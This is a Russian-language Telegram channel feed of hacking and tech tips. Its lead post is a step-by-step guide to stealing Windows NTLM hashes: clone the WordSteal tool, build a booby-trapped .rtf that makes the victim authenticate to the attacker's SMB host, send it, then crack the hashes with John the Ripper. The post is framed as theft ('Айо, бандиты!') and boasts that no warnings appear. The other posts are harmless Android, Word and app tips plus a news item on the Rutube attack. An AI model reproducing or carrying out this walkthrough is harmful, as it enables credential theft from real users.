Interab

2022-05-23 21:05:47 ​​​Крадём учетные данные Windows с помощью MS Office Document

Айо, бандиты!Сегодня вы найдете в этой статье нечто невероятное, связанное с недавно запущенным скриптом под названием «WORD STEAL», который может все больше и больше определять ваши навыки взлома. Этот сценарий создаст POC, который украдет хэши NTLM с удаленного компьютера.

Microsoft Word может включать изображения из удаленных мест. Это недокументированная функция, но создатели вредоносных программ обнаружили, что она использовалась для добавления изображений через http для получения статистики. Мы также можем включить удаленные файлы на SMB-сервер, и жертва будет аутентифицироваться с использованием своих учетных данных. Это очень полезно во время пентеста, потому что позволяет украсть учетные данные, не вызывая никаких предупреждений, и большинство приложений безопасности не обнаруживают этого.

Во-первых, нам нужно скачать его с Github, открыть терминал в Kali Linux и ввести следующую команду.

git clone https://github.com/0x090x0/WordSteal.git

Теперь откройте загруженную папку word steal, где вы получите скрипт python «main.py» и предоставите все разрешения для скрипта main.py, если это необходимо.

chmod 777 main.py

Как описал автор, этот сценарий преобразует изображение или, скажем, .jpg в .rtf (файл Microsoft Word). Rich Text Format - это частный формат файла документа с опубликованной спецификацией, разработанный корпорацией Microsoft для межплатформенного обмена документами с продуктами Microsoft. .

После этого загрузите изображение и сохраните его в папке Wordsteal, поскольку в данный момент у меня есть изображение «1.jpg», нам необходимо ввести следующую команду, которая генерирует файл .rtf, который крадет хэши NTLM с удаленного компьютера.

python main.py 192.168.0.104 1.jpeg 1

Приведенная выше команда сгенерирует файл .rtf, как вы можете понять на данном снимке экрана после отправки файла 1.rtf на удаленный компьютер.

Когда жертва откроет 1.rtf (как файл Microsoft Word) в своей системе, с другой стороны, атака получит хэши NTLM.

Внутри Word Steal мы украли учетные данные, не запустив никаких предупреждений, которые вы можете наблюдать на следующем изображении. Теперь используйте инструмент для взлома паролей john the ripper, чтобы взломать хеши в файле password netntlmv2, или введите следующую команду:

John password_netntlmv2

Круто! Мы ясно видим учетные данные жертвы RAJ: 123, которые могут быть использованы для входа в систему.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-23 09:05:56 ​​​Orbot. Данное приложение призвано сохранить вашу приватность в сети. С его помощью вы сможете посещать любые сайты и при этом будете сохранить свою конфиденциальность.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-22 21:11:05 ​​К атаке на Rutube могут быть причастны бывшие сотрудники видеохостинга

Такое мнение высказал генеральный директор сервиса Александр Моисеев. Александр Моисеев также рассказал о причинах долгого восстановления Rutube после кибератаки 9 мая. По его словам, недоступность видеохостинга в течение двух суток была связана с так называемыми программными «закладками», которые оставили злоумышленники. Их приходилось устранять вручную.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-22 09:06:00 ​​​Римские цифры в Microsoft Word!

Иногда при работе в Word возникает необходимость использовать римские цифры. Имеется весьма удобной способ, как сделать это автоматически и не заморачиваясь с переводом цифр из одной системы в другую.

Поехали!

1. Первым делом открываем документ Microsoft Word и устанавливаем курсор в нужное место.
2. Далее прожимаем сочетание клавиш CTRL + F9.
3. В появившихся фигурных скобках пишем знак равно: (=).
4. Затем пишем число, которое нужно преобразовать в римскую запись: (=2022).
5. После устанавливаем слеш, звездочку и прописываем ROMAN английскими буквами: (=2022\*ROMAN).
6. Нажимаем F9, чтобы применить формулу.

После этих манипуляций число будет автоматически преобразовано в римскую запись. При этом, прописав в формуле roman маленькими буквами, римские буквы получившегося числа будут маленькими. Данный способ работает и в других программах от Microsoft, к примеру, в Power Point.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-21 21:05:10 ​​Автоматизируем любые действия в браузере!

Всем привет!Наверное многие из вас слышали про макросы - это такие вспомогательные программы, которые позволяют автоматизировать любую работу. Они могут кликать, переходить по сайтам, вводить данные и так далее.

Wildfire — расширение для браузера, которое как раз-таки может выполнять всю эту рутинную работу.

Начало работы:
1. Скачиваем расширение себе в Chrome.
2. Тыкаем на логотип Wildfire в верхней панели и нажимаем "Start Recording".
3. Вручную воспроизводим действия, которые далее должен отобразить Wildfire.
4. После записи появится схема всех ваших действий.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-21 09:05:48 ​​Как автоматически удалять ненужные скриншоты

Жизненно: часто делаете снимки экрана, забываете про них и галерея превращается в свалку из скринов. Чтобы не засорять память смартфона, воспользуйтесь приложением Mark.

Как им пользоваться:

1. Скачиваем его на Android из Google Play. Также есть альтернатива на iOS.
2. Открываем приложение и даём необходимые разрешения.
3. Выбираем время — через сколько минут скриншоты будут автоматически удаляться.
4. Если нужно, в окошке ниже включаем опцию, чтобы все скрины сами исчезали через 40 секунд. Так вы успеете отправить его и почти сразу освободить место.

Другой вариант: если вы хотите вручную удалить существующие скрины, удобнее всего будет открыть Google Photos и выбрать категорию «Скриншоты». Там будут все скрины, которые можно сразу удалить.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-20 21:05:47 ​​Как получить apk-файл из уже установленного приложения на Android

Иногда, у нас есть приложения, которые больше нельзя установить привычным способом, но при этом хочется пользоваться ими и дальше. Может приложение удалили из Play Market при модерации или еще по какой-нибудь причине. Эту проблему можно избежать, если заранее позаботиться и собрать apk-файлы всех нужных програм.

Apk Extractor — приложение для Android, которое может извлечь apk-файл из любого установленного приложения на вашем устройстве.

Приложение работает без Root-прав. Работает метод почти со всеми приложениями, но иногда, очень редко, случаются сбои и извлечь apk не удается.
Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-20 09:05:33 ​​3 секретные функции Android, о которых вы не знали!

Во всех Android есть меню разработчиков — там собрано много полезных функций, с помощью которых вы продлите жизнь вашего гаджета и оптимизируете его работу. 

— Оптимизируем процессы гаджета. Чтобы ускорить его работу в два раза, в параметрах «отрисовка» или «рисование» указываем значение «0.25 px» или «0.5 px». После этого перезагружаем смартфон.

— Узнаём работоспособность приложений. В разделе «Работающие приложения» вы увидите, какая программа расходует оперативную память больше всего, и можете её выключить. 

— Защищаемся от несанкционированного доступа к резервным данным. В пункте «Пароль для резервного копирования» вводим во второй строчке новый пароль, а затем подтверждаем его. Кликаем на на кнопку «Сохранить пароль».

Но помните: некоторые функции могут привести к сбоям. Будьте осторожнее и откатывайтесь назад, если что-то пошло не так.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-19 21:05:23 ​​​​Что делать, если постоянно не хватает памяти на смартфоне?

Всем привет!Едва ли сегодня найдется хотя бы один пользователь Android, который никогда не сталкивался с нехваткой памяти в своем телефоне. Сегодня мы расскажем про приложение, которое поможет держать внутреннее пространство телефона в чистоте и не допускать его критического заполнения.

«Анализ и очистка дисков» с помощью простых инструментов визуализации и мощных поисковых возможностей поможет контролировать объем хранилища, чтобы всегда знать «в лицо» главных «пожирателей» ваших мегабайтов.

Вся информация анализируется в считанные секунды уже при первом запуске приложения и отображается в виде наглядной инфографики. Сервис также позволяет интегрировать для анализа еще и облачные сервисы, предоставляя понятные инструменты для их очистки.

В главных вкладках «Категории файлов», «Мои диски», «Диаграммы диска», «Быстрый поиск» представлены различные способы отображения содержимого вашего дискового пространства, чтобы вам было наглядно видно содержимое дисков, разбитое по категориям.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать

2022-05-19 09:05:32 ​​​Как узнать какие игры точно потянет ваш компьютер

Всем привет!Чтобы узнать, запустится ли игра на вашем компьютере, необходимо всего лишь сравнить характеристики железа с системными требованиями игры. Но есть способ сделать это гораздо быстрее и информативнее — сервис Technical City.

technical.city создан для того, чтобы предоставить подробную информацию о компьютерном железе тем, кто интересуется. Сайт также поможет при покупке сравнить между собой разные модели видеокарт или процессоров. А в нашем случае он нужен для проверки совместимости требований игр и характеристик нашего ПК.

Для проверки заходим на САЙТ. Переходим в раздел «Пойдёт ли игра» и указываем комплектующие вашего компьютера. Выбираем диапазон требований игры в виде года выпуска и рейтинга или просто вводим ее название. После этого сервис предложит подробную информацию по совместимости.

Наш новый КАНАЛ о взломах и ДАРКНЕТЕ. Открыть/Комментировать